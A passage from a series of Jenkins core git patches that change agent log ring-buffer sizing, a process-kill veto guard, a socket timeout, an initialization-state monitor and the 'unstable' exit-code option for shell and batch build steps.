catastrophic impact on the communication. channel.pinClassLoader(getClass().getClassLoader()); - channel.call(new SlaveInitializer()); + channel.call(new SlaveInitializer(DEFAULT_RING_BUFFER_SIZE)); SecurityContext old = ACL.impersonate(ACL.SYSTEM); try { for (ComputerListener cl : ComputerListener.all()) { @@ -804,11 +805,19 @@ public class SlaveComputer extends Computer { /** * This field is used on each agent to record logs on the agent. */ - static final RingBufferLogHandler SLAVE_LOG_HANDLER = new RingBufferLogHandler(); + static RingBufferLogHandler SLAVE_LOG_HANDLER; } private static class SlaveInitializer extends MasterToSlaveCallable { + final int ringBufferSize; + + public SlaveInitializer(int ringBufferSize) { + this.ringBufferSize = ringBufferSize; + } + public Void call() { + SLAVE_LOG_HANDLER = new RingBufferLogHandler(ringBufferSize); + // avoid double installation of the handler. JNLP slaves can reconnect to the master multiple times // and each connection gets a different RemoteClassLoader, so we need to evict them by class name, // not by their identity. @@ -867,5 +876,8 @@ public class SlaveComputer extends Computer { } } + // use RingBufferLogHandler class name to configure for backward compatibility + private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + private static final Logger LOGGER = Logger.getLogger(SlaveComputer.class.getName()); } diff --git a/core/src/main/java/hudson/util/RingBufferLogHandler.java b/core/src/main/java/hudson/util/RingBufferLogHandler.java index dc51e2c694..89d0b124d7 100644 --- a/core/src/main/java/hudson/util/RingBufferLogHandler.java +++ b/core/src/main/java/hudson/util/RingBufferLogHandler.java @@ -23,7 +23,6 @@ */ package hudson.util; -import jenkins.util.SystemProperties; import java.util.AbstractList; import java.util.List; import java.util.logging.Handler; @@ -36,12 +35,17 @@ import java.util.logging.LogRecord; */ public class RingBufferLogHandler extends Handler { - private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + private static final int DEFAULT_RING_BUFFER_SIZE = Integer.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); private int start = 0; private final LogRecord[] records; private volatile int size = 0; + /** + * This constructor is deprecated. It can't access system properties with {@link jenkins.util.SystemProperties} + * as it's not legal to use it on remoting agents. + */ + @Deprecated public RingBufferLogHandler() { this(DEFAULT_RING_BUFFER_SIZE); } diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index 794e956b1a..cadda5250b 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -32,6 +32,8 @@ import java.util.logging.Logger; import javax.servlet.ServletContext; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; + +import jenkins.util.io.OnMaster; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -65,7 +67,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; */ //TODO: Define a correct design of this engine later. Should be accessible in libs (remoting, stapler) and Jenkins modules too @Restricted(NoExternalUse.class) -public class SystemProperties implements ServletContextListener { +public class SystemProperties implements ServletContextListener, OnMaster { // this class implements ServletContextListener and is declared in WEB-INF/web.xml /** @@ -88,7 +90,7 @@ public class SystemProperties implements ServletContextListener { * Called by the servlet container to initialize the {@link ServletContext}. */ @Override - @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", + @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", justification = "Currently Jenkins instance may have one ond only one context") public void contextInitialized(ServletContextEvent event) { theContext = event.getServletContext(); -- GitLab From 23a4d706f319b0d90767ca6041f1976b6662241e Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 27 Sep 2016 12:55:30 +0100 Subject: [PATCH 370/811] [FIXED JENKINS-38534] Isolate the code that requires the `Jenkins` class to be loaded from an agent code path (cherry picked from commit 0859573721a5f1c0c225d46c898e23e683ec3550) --- .../java/hudson/util/ProcessKillingVeto.java | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessKillingVeto.java b/core/src/main/java/hudson/util/ProcessKillingVeto.java index 3ae76c375d..92e5ab98f0 100644 --- a/core/src/main/java/hudson/util/ProcessKillingVeto.java +++ b/core/src/main/java/hudson/util/ProcessKillingVeto.java @@ -23,6 +23,7 @@ */ package hudson.util; +import hudson.ExtensionList; import hudson.ExtensionPoint; import hudson.util.ProcessTreeRemoting.IOSProcess; @@ -32,7 +33,7 @@ import java.util.List; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; -import jenkins.model.Jenkins; +import jenkins.util.JenkinsJVM; /** * Allows extensions to veto killing processes. If at least one extension vetoes @@ -74,11 +75,20 @@ public abstract class ProcessKillingVeto implements ExtensionPoint { * list if Jenkins is not available, never null. */ public static List all() { - // check if we are a thread running on the master JVM or a thread running in a remote JVM - Jenkins jenkins = Jenkins.getInstanceOrNull(); - if (jenkins == null) - return Collections.emptyList(); // we are remote, no body gets to veto - return jenkins.getExtensionList(ProcessKillingVeto.class); + if (JenkinsJVM.isJenkinsJVM()) { + return _all(); + } + return Collections.emptyList(); + } + + /** + * As classloading is lazy, the classes referenced in this method will not be resolved + * until the first time the method is invoked, so we use this method to guard access to Jenkins JVM only classes. + * + * @return All ProcessKillingVeto extensions currently registered. + */ + private static List _all() { + return ExtensionList.lookup(ProcessKillingVeto.class); } /** -- GitLab From b3ea052cddadffaee5d59c3c7e5ed4c1d544eb37 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 25 Sep 2016 03:51:59 +0200 Subject: [PATCH 371/811] [JENKINS-34287,JENKINS-23232] Update executable-war to 1.34 Diff: https://github.com/jenkinsci/extras-executable-war/compare/executable-war-1.33...executable-war-1.34 * https://issues.jenkins-ci.org/browse/JENKINS-23232 * https://issues.jenkins-ci.org/browse/JENKINS-34287 (cherry picked from commit 24443acb3c92612dc623849c9458000c98a0a265) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 7e97a1ac6b..dcb7786093 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -49,7 +49,7 @@ THE SOFTWARE. org.jenkins-ci executable-war - 1.33 + 1.34 provided -- GitLab From d32b32f9115d31fe0f42d1f75eb25ea8af6909ff Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Sat, 1 Oct 2016 11:19:33 +0100 Subject: [PATCH 372/811] [FIXED JENKINS-38473] Set a short timeout on the socket when using it to wake the acceptor thread. (#2564) * [FIXED JENKINS-38473] Set a short timeout on the socket when using it to wake the acceptor thread. * [JENKINS-38473] Remove leftover typing in wrong window (cherry picked from commit 1689f6b7a21fc910a186e092227780c614ed7443) --- core/src/main/java/hudson/TcpSlaveAgentListener.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 7804d04998..6bee598966 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -170,6 +170,7 @@ public final class TcpSlaveAgentListener extends Thread { if (localAddress instanceof InetSocketAddress) { InetSocketAddress address = (InetSocketAddress) localAddress; Socket client = new Socket(address.getHostName(), address.getPort()); + client.setSoTimeout(1000); // waking the acceptor loop should be quick new PingAgentProtocol().connect(client); } } catch (IOException e) { -- GitLab From 3e660d71fca66fef7f321b715c9a98be1dc99e49 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 3 Sep 2016 14:14:45 +0200 Subject: [PATCH 373/811] [JENKINS-37874] - Print warnings if Jenkins startup/reload do not reach the COMPLETED state (#2530) * [JENKINS-37874] - Log SEVERE messages if Jenkins does not reach COMPLETED stage during startup or reload * [JENKINS-37874] - Add Administrative monitor for the COMPLETED state * [JENKINS-37874] - Polish log messages (cherry picked from commit 0f45609fb20248a227fc1071725d2afa6d1f61af) --- .../CompletedInitializationMonitor.java | 50 +++++++++++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 24 +++++++++ .../message.jelly | 11 ++++ .../message.properties | 6 +++ 4 files changed, 91 insertions(+) create mode 100644 core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java create mode 100644 core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly create mode 100644 core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties diff --git a/core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java b/core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java new file mode 100644 index 0000000000..57dc563d09 --- /dev/null +++ b/core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java @@ -0,0 +1,50 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.diagnostics; + +import hudson.Extension; +import hudson.init.InitMilestone; +import hudson.model.AdministrativeMonitor; +import jenkins.model.Jenkins; +import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +/** + * Performs monitoring of {@link Jenkins} {@link InitMilestone} status. + * + * @author Oleg Nenashev + * @since TODO + */ +@Restricted(NoExternalUse.class) +@Extension @Symbol("completedInitialization") +public class CompletedInitializationMonitor extends AdministrativeMonitor { + @Override + public boolean isActivated() { + final Jenkins instance = Jenkins.getInstance(); + // Safe to check in such way, because monitors are being checked in UI only. + // So Jenkins class construction and initialization must be always finished by the call of this extension. + return instance.getInitLevel() != InitMilestone.COMPLETED; + } +} diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index f165e1149f..66090849f9 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -908,6 +908,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve InitMilestone.ordering() // forced ordering among key milestones ); + // Ensure we reached the final initialization state. Log the error otherwise + if (initLevel != InitMilestone.COMPLETED) { + LOGGER.log(SEVERE, "Jenkins initialization has not reached the COMPLETED initialization milestone after the startup. " + + "Current state: {0}. " + + "It may cause undefined incorrect behavior in Jenkins plugin relying on this state. " + + "It is likely an issue with the Initialization task graph. " + + "Example: usage of @Initializer(after = InitMilestone.COMPLETED) in a plugin (JENKINS-37759). " + + "Please create a bug in Jenkins bugtracker. ", + initLevel); + } + + if(KILL_AFTER_LOAD) System.exit(0); @@ -3840,6 +3852,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve public void reload() throws IOException, InterruptedException, ReactorException { queue.save(); executeReactor(null, loadTasks()); + + // Ensure we reached the final initialization state. Log the error otherwise + if (initLevel != InitMilestone.COMPLETED) { + LOGGER.log(SEVERE, "Jenkins initialization has not reached the COMPLETED initialization milestone after the configuration reload. " + + "Current state: {0}. " + + "It may cause undefined incorrect behavior in Jenkins plugin relying on this state. " + + "It is likely an issue with the Initialization task graph. " + + "Example: usage of @Initializer(after = InitMilestone.COMPLETED) in a plugin (JENKINS-37759). " + + "Please create a bug in Jenkins bugtracker.", + initLevel); + } + User.reload(); queue.load(); servletContext.setAttribute("app", this); diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly new file mode 100644 index 0000000000..80d6bd1e5f --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly @@ -0,0 +1,11 @@ + + +
                      + ${%Warning!} + ${%blurb(app.initLevel)} + ${%Example: usage of} @Initializer(after = InitMilestone.COMPLETED) ${%in a plugin} + (JENKINS-37759). + ${%Please} ${%report a bug} ${%in the Jenkins bugtracker}. + +
                      +
                      diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties new file mode 100644 index 0000000000..c34fa2df46 --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties @@ -0,0 +1,6 @@ +blurb= Jenkins initialization has not reached the COMPLETED initialization milestone after the configuration reload. \ + Current state is: \"{0}\". \ + Such invalid state may cause undefined incorrect behavior of Jenkins plugins. \ + It is likely an issue with the jenkins initialization or reloading task graph. + + -- GitLab From 359548efa074f9ed3537552f5f9f2b51faf33e25 Mon Sep 17 00:00:00 2001 From: stochmim Date: Thu, 22 Sep 2016 16:44:57 +0200 Subject: [PATCH 374/811] Fix for 23786 Permit 'Execute shell' jobs to return 2 for 'unstable' refactor and fix remove duplication and fix FB errors fix integration tests consistency fixes consistency fixes changed error message to warning fix comment and warning message fix comment fix junit tests fix junit tests fix junit tests fix junit tests clean import a commit to trigger jenkins checks --- .../src/main/java/hudson/tasks/BatchFile.java | 62 ++++--- .../java/hudson/tasks/CommandInterpreter.java | 48 +++--- core/src/main/java/hudson/tasks/Shell.java | 88 +++++----- .../hudson/tasks/BatchFile/config.jelly | 7 +- .../hudson/tasks/BatchFile/config.properties | 3 +- .../tasks/BatchFile/help-unstableReturn.html | 9 ++ .../hudson/tasks/Messages.properties | 4 + .../hudson/tasks/Shell/config.groovy | 5 +- .../hudson/tasks/Shell/config.properties | 2 +- .../tasks/Shell/help-unstableReturn.html | 5 + .../test/java/hudson/tasks/BatchFileTest.java | 152 ++++++++++++------ .../src/test/java/hudson/tasks/ShellTest.java | 122 +++++++++----- 12 files changed, 321 insertions(+), 186 deletions(-) create mode 100644 core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html create mode 100644 core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 18cf620eba..675c316eeb 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -25,14 +25,21 @@ package hudson.tasks; import hudson.FilePath; import hudson.Extension; +import hudson.Util; import hudson.model.AbstractProject; +import hudson.util.FormValidation; import hudson.util.LineEndingConversion; -import net.sf.json.JSONObject; import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.DataBoundConstructor; -import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.DataBoundSetter; +import org.kohsuke.stapler.QueryParameter; + import java.io.ObjectStreamException; +import javax.annotation.CheckForNull; + /** * Executes commands by using Windows batch file. * @@ -40,16 +47,11 @@ import java.io.ObjectStreamException; */ public class BatchFile extends CommandInterpreter { @DataBoundConstructor - public BatchFile(String command, Integer unstableReturn) { - super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Windows)); - this.unstableReturn = unstableReturn; - } - public BatchFile(String command) { - this(command, null); + super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Windows)); } - private final Integer unstableReturn; + private Integer unstableReturn; public String[] buildCommandLine(FilePath script) { return new String[] {"cmd","/c","call",script.getRemote()}; @@ -63,8 +65,19 @@ public class BatchFile extends CommandInterpreter { return ".bat"; } + @CheckForNull public final Integer getUnstableReturn() { - return unstableReturn; + return new Integer(0).equals(unstableReturn) ? null : unstableReturn; + } + + @DataBoundSetter + public void setUnstableReturn(Integer unstableReturn) { + this.unstableReturn = unstableReturn; + } + + @Override + protected boolean isErrorlevelForUnstableBuild(int exitCode) { + return this.unstableReturn != null && exitCode != 0 && this.unstableReturn.equals(exitCode); } private Object readResolve() throws ObjectStreamException { @@ -82,15 +95,28 @@ public class BatchFile extends CommandInterpreter { return Messages.BatchFile_DisplayName(); } - @Override - public Builder newInstance(StaplerRequest req, JSONObject data) { - final String unstableReturnStr = data.getString("unstableReturn"); - Integer unstableReturn = null; - if (unstableReturnStr != null && ! unstableReturnStr.isEmpty()) { - /* Already validated by f.number in the form */ - unstableReturn = (Integer)Integer.parseInt(unstableReturnStr, 10); + /** + * Performs on-the-fly validation of the errorlevel. + */ + @Restricted(DoNotUse.class) + public FormValidation doCheckUnstableReturn(@QueryParameter String value) { + value = Util.fixEmptyAndTrim(value); + if (value == null) { + return FormValidation.ok(); + } + long unstableReturn; + try { + unstableReturn = Long.parseLong(value); + } catch (NumberFormatException e) { + return FormValidation.error(hudson.model.Messages.Hudson_NotANumber()); + } + if (unstableReturn == 0) { + return FormValidation.warning(hudson.tasks.Messages.BatchFile_invalid_exit_code_zero()); + } + if (unstableReturn < Integer.MIN_VALUE || unstableReturn > Integer.MAX_VALUE) { + return FormValidation.error(hudson.tasks.Messages.BatchFile_invalid_exit_code_range(unstableReturn)); } - return new BatchFile(data.getString("command"), unstableReturn); + return FormValidation.ok(); } public boolean isApplicable(Class jobType) { diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index ea26667d6e..924276de38 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -31,6 +31,7 @@ import hudson.EnvVars; import hudson.model.AbstractBuild; import hudson.model.BuildListener; import hudson.model.Node; +import hudson.model.Result; import hudson.model.TaskListener; import hudson.remoting.ChannelClosedException; @@ -51,11 +52,6 @@ public abstract class CommandInterpreter extends Builder { */ protected final String command; - /** - * The build being run. Valid only during perform(...). - */ - protected AbstractBuild build; - public CommandInterpreter(String command) { this.command = command; } @@ -64,26 +60,24 @@ public abstract class CommandInterpreter extends Builder { return command; } - /** - * Access the current build object. - * - * Useful for {@link #join(Proc p)} for setting build results. - * - * @return The build being run, or null if outside perform(...) - * @since 1.573 - */ - protected final AbstractBuild getBuild() - { - return build; - } - @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException { return perform(build,launcher,(TaskListener)listener); } + /** + * Determines whether a non-zero exit code from the process should change the build + * status to {@link Result#UNSTABLE} instead of default {@link Result#FAILURE}. + * + * Changing to {@link Result#UNSTABLE} does not abort the build, next steps are continued. + * + * @since TODO + */ + protected boolean isErrorlevelForUnstableBuild(int exitCode) { + return false; + } + public boolean perform(AbstractBuild build, Launcher launcher, TaskListener listener) throws InterruptedException { - this.build = build; FilePath ws = build.getWorkspace(); if (ws == null) { Node node = build.getBuiltOn(); @@ -112,11 +106,15 @@ public abstract class CommandInterpreter extends Builder { envVars.put(e.getKey(),e.getValue()); r = join(launcher.launch().cmds(buildCommandLine(script)).envs(envVars).stdout(listener).pwd(ws).start()); + + if(isErrorlevelForUnstableBuild(r)) { + build.setResult(Result.UNSTABLE); + r = 0; + } } catch (IOException e) { Util.displayIOException(e, listener); e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_CommandFailed())); } - this.build = null; return r==0; } finally { try { @@ -145,12 +143,10 @@ public abstract class CommandInterpreter extends Builder { /** * Reports the exit code from the process. * - * This allows subtypes to treat the exit code differently (for example by - * treating non-zero exit code as if it's zero). Any non-zero exit code - * will cause the build step to fail. - * - * To set the status to {@link Result#UNSTABLE}, use {@link #getBuild()} and - * call {@code getBuild().setResult(BuildResult.UNSTABLE); }. + * This allows subtypes to treat the exit code differently (for example by treating non-zero exit code + * as if it's zero, or to set the status to {@link Result#UNSTABLE}). Any non-zero exit code will cause + * the build step to fail. Use {@link #isErrorlevelForUnstableBuild(int exitCode)} to redefine the default + * behaviour. * * @since 1.549 */ diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index a9ced4063d..bdd3ca44cf 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -27,10 +27,7 @@ import hudson.FilePath; import hudson.Functions; import hudson.Util; import hudson.Extension; -import hudson.Proc; import hudson.model.AbstractProject; -import hudson.model.Result; -import hudson.remoting.Callable; import hudson.remoting.VirtualChannel; import hudson.util.FormValidation; import java.io.IOException; @@ -39,7 +36,10 @@ import hudson.util.LineEndingConversion; import jenkins.security.MasterToSlaveCallable; import net.sf.json.JSONObject; import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.DataBoundConstructor; +import org.kohsuke.stapler.DataBoundSetter; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.QueryParameter; @@ -49,32 +49,30 @@ import java.util.Arrays; import java.util.logging.Level; import java.util.logging.Logger; +import javax.annotation.CheckForNull; + /** * Executes a series of commands by using a shell. * * @author Kohsuke Kawaguchi */ public class Shell extends CommandInterpreter { + @DataBoundConstructor - public Shell(String command, Integer unstableReturn) { + public Shell(String command) { super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Unix)); - if (unstableReturn != null && unstableReturn.equals(0)) - unstableReturn = null; - this.unstableReturn = unstableReturn; } - public Shell(String command) { - this(command, null); - } + private Integer unstableReturn; + - private final Integer unstableReturn; /** * Older versions of bash have a bug where non-ASCII on the first line * makes the shell think the file is a binary file and not a script. Adding * a leading line feed works around this problem. */ - private static String addCrForNonASCII(String s) { + private static String addLineFeedForNonASCII(String s) { if(!s.startsWith("#!")) { if (s.indexOf('\n')!=0) { return "\n" + s; @@ -94,34 +92,31 @@ public class Shell extends CommandInterpreter { args.add(script.getRemote()); args.set(0,args.get(0).substring(2)); // trim off "#!" return args.toArray(new String[args.size()]); - } else + } else return new String[] { getDescriptor().getShellOrDefault(script.getChannel()), "-xe", script.getRemote()}; } protected String getContents() { - return addCrForNonASCII(fixCrLf(command)); + return addLineFeedForNonASCII(LineEndingConversion.convertEOL(command,LineEndingConversion.EOLType.Unix)); } protected String getFileExtension() { return ".sh"; } + @CheckForNull public final Integer getUnstableReturn() { - return unstableReturn; + return new Integer(0).equals(unstableReturn) ? null : unstableReturn; + } + + @DataBoundSetter + public void setUnstableReturn(Integer unstableReturn) { + this.unstableReturn = unstableReturn; } - /** - * Allow the user to define a result for "unstable": - */ @Override - protected int join(Proc p) throws IOException, InterruptedException { - final int result = p.join(); - if (this.unstableReturn != null && result != 0 && this.unstableReturn.equals(result)) { - getBuild().setResult(Result.UNSTABLE); - return 0; - } - else - return result; + protected boolean isErrorlevelForUnstableBuild(int exitCode) { + return this.unstableReturn != null && exitCode != 0 && this.unstableReturn.equals(exitCode); } @Override @@ -164,7 +159,7 @@ public class Shell extends CommandInterpreter { } public String getShellOrDefault(VirtualChannel channel) { - if (shell != null) + if (shell != null) return shell; String interpreter = null; @@ -181,7 +176,7 @@ public class Shell extends CommandInterpreter { return interpreter; } - + public void setShell(String shell) { this.shell = Util.fixEmptyAndTrim(shell); save(); @@ -191,15 +186,28 @@ public class Shell extends CommandInterpreter { return Messages.Shell_DisplayName(); } - @Override - public Builder newInstance(StaplerRequest req, JSONObject data) { - final String unstableReturnStr = data.getString("unstableReturn"); - Integer unstableReturn = null; - if (unstableReturnStr != null && ! unstableReturnStr.isEmpty()) { - /* Already validated by f.number in the form */ - unstableReturn = (Integer)Integer.parseInt(unstableReturnStr, 10); + /** + * Performs on-the-fly validation of the exit code. + */ + @Restricted(DoNotUse.class) + public FormValidation doCheckUnstableReturn(@QueryParameter String value) { + value = Util.fixEmptyAndTrim(value); + if (value == null) { + return FormValidation.ok(); + } + long unstableReturn; + try { + unstableReturn = Long.parseLong(value); + } catch (NumberFormatException e) { + return FormValidation.error(hudson.model.Messages.Hudson_NotANumber()); } - return new Shell(data.getString("command"), unstableReturn); + if (unstableReturn == 0) { + return FormValidation.warning(hudson.tasks.Messages.Shell_invalid_exit_code_zero()); + } + if (unstableReturn < 1 || unstableReturn > 255) { + return FormValidation.error(hudson.tasks.Messages.Shell_invalid_exit_code_range(unstableReturn)); + } + return FormValidation.ok(); } @Override @@ -213,9 +221,9 @@ public class Shell extends CommandInterpreter { */ public FormValidation doCheckShell(@QueryParameter String value) { // Executable requires admin permission - return FormValidation.validateExecutable(value); + return FormValidation.validateExecutable(value); } - + private static final class Shellinterpreter extends MasterToSlaveCallable { private static final long serialVersionUID = 1L; @@ -224,8 +232,8 @@ public class Shell extends CommandInterpreter { return Functions.isWindows() ? "sh" : "/bin/sh"; } } - + } - + private static final Logger LOGGER = Logger.getLogger(Shell.class.getName()); } diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config.jelly b/core/src/main/resources/hudson/tasks/BatchFile/config.jelly index 97e0fdc429..19fbdcef64 100644 --- a/core/src/main/resources/hudson/tasks/BatchFile/config.jelly +++ b/core/src/main/resources/hudson/tasks/BatchFile/config.jelly @@ -25,13 +25,12 @@ THE SOFTWARE. + description="${%description(rootURL)}"> - - + + diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config.properties b/core/src/main/resources/hudson/tasks/BatchFile/config.properties index 5e0b6e0b04..e416300f20 100644 --- a/core/src/main/resources/hudson/tasks/BatchFile/config.properties +++ b/core/src/main/resources/hudson/tasks/BatchFile/config.properties @@ -20,5 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -command_description=See the list of available environment variables -unstableReturn_description=If set, the batch errorlevel result that will be interpreted as an unstable build result. +description=See the list of available environment variables diff --git a/core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html b/core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html new file mode 100644 index 0000000000..8dc41ec39c --- /dev/null +++ b/core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html @@ -0,0 +1,9 @@ +
                      + If set, the batch errorlevel result that will be interpreted as an unstable build result. + If the final errorlevel matches the value, the build results will be set to unstable and + next steps will be continued. Supported values match the widest errorlevel range for Windows + like systems. In Windows NT4 and beyond the ERRORLEVEL is stored as a four byte, signed integer, + yielding maximum and minimum values of 2147483647 and -2147483648, respectively. Older versions + of Windows use 2 bytes. DOS like systems use single byte, yelding errorlevels between 0-255. + The value 0 is ignored and does not make the build unstable to keep the default behaviour consistent. +
                      diff --git a/core/src/main/resources/hudson/tasks/Messages.properties b/core/src/main/resources/hudson/tasks/Messages.properties index 1cc86c71d7..67417b1e72 100644 --- a/core/src/main/resources/hudson/tasks/Messages.properties +++ b/core/src/main/resources/hudson/tasks/Messages.properties @@ -39,6 +39,8 @@ If you really did mean to archive all the files in the workspace, please specify ArtifactArchiver.NoMatchFound=No artifacts found that match the file pattern "{0}". Configuration error? BatchFile.DisplayName=Execute Windows batch command +BatchFile.invalid_exit_code_range=Invalid errorlevel value: {0}. Check help section +BatchFile.invalid_exit_code_zero=ERRORLEVEL zero is ignored and does not make the build unstable BuildTrigger.Disabled={0} is disabled. Triggering skipped BuildTrigger.DisplayName=Build other projects @@ -81,3 +83,5 @@ Maven.NotMavenDirectory={0} doesn\u2019t look like a Maven directory Maven.NoExecutable=Couldn\u2019t find any executable in {0} Shell.DisplayName=Execute shell +Shell.invalid_exit_code_range=Invalid exit code value: {0}. Check help section +Shell.invalid_exit_code_zero=Exit code zero is ignored and does not make the build unstable \ No newline at end of file diff --git a/core/src/main/resources/hudson/tasks/Shell/config.groovy b/core/src/main/resources/hudson/tasks/Shell/config.groovy index 72d4208c16..58c4880bf2 100644 --- a/core/src/main/resources/hudson/tasks/Shell/config.groovy +++ b/core/src/main/resources/hudson/tasks/Shell/config.groovy @@ -29,9 +29,8 @@ f.entry(title:_("Command"),description:_("description",rootURL)) { } f.advanced() { - - f.entry(title:_("Return code to set build unstable"), description:_("If set, the script return code that will be interpreted as an unstable build result.")) { - f.number(name: "unstableReturn", value: instance?.unstableReturn, min:1, max:255, step:1) + f.entry(title:_("Exit code to set build unstable"), field: "unstableReturn") { + f.number(clazz:"positive-number", value: instance?.unstableReturn, min:1, max:255, step:1) } } diff --git a/core/src/main/resources/hudson/tasks/Shell/config.properties b/core/src/main/resources/hudson/tasks/Shell/config.properties index 5918ee6a1a..0d7b36f4a5 100644 --- a/core/src/main/resources/hudson/tasks/Shell/config.properties +++ b/core/src/main/resources/hudson/tasks/Shell/config.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -description=See the list of available environment variables \ No newline at end of file +description=See the list of available environment variables diff --git a/core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html b/core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html new file mode 100644 index 0000000000..bc6426fa3d --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html @@ -0,0 +1,5 @@ +
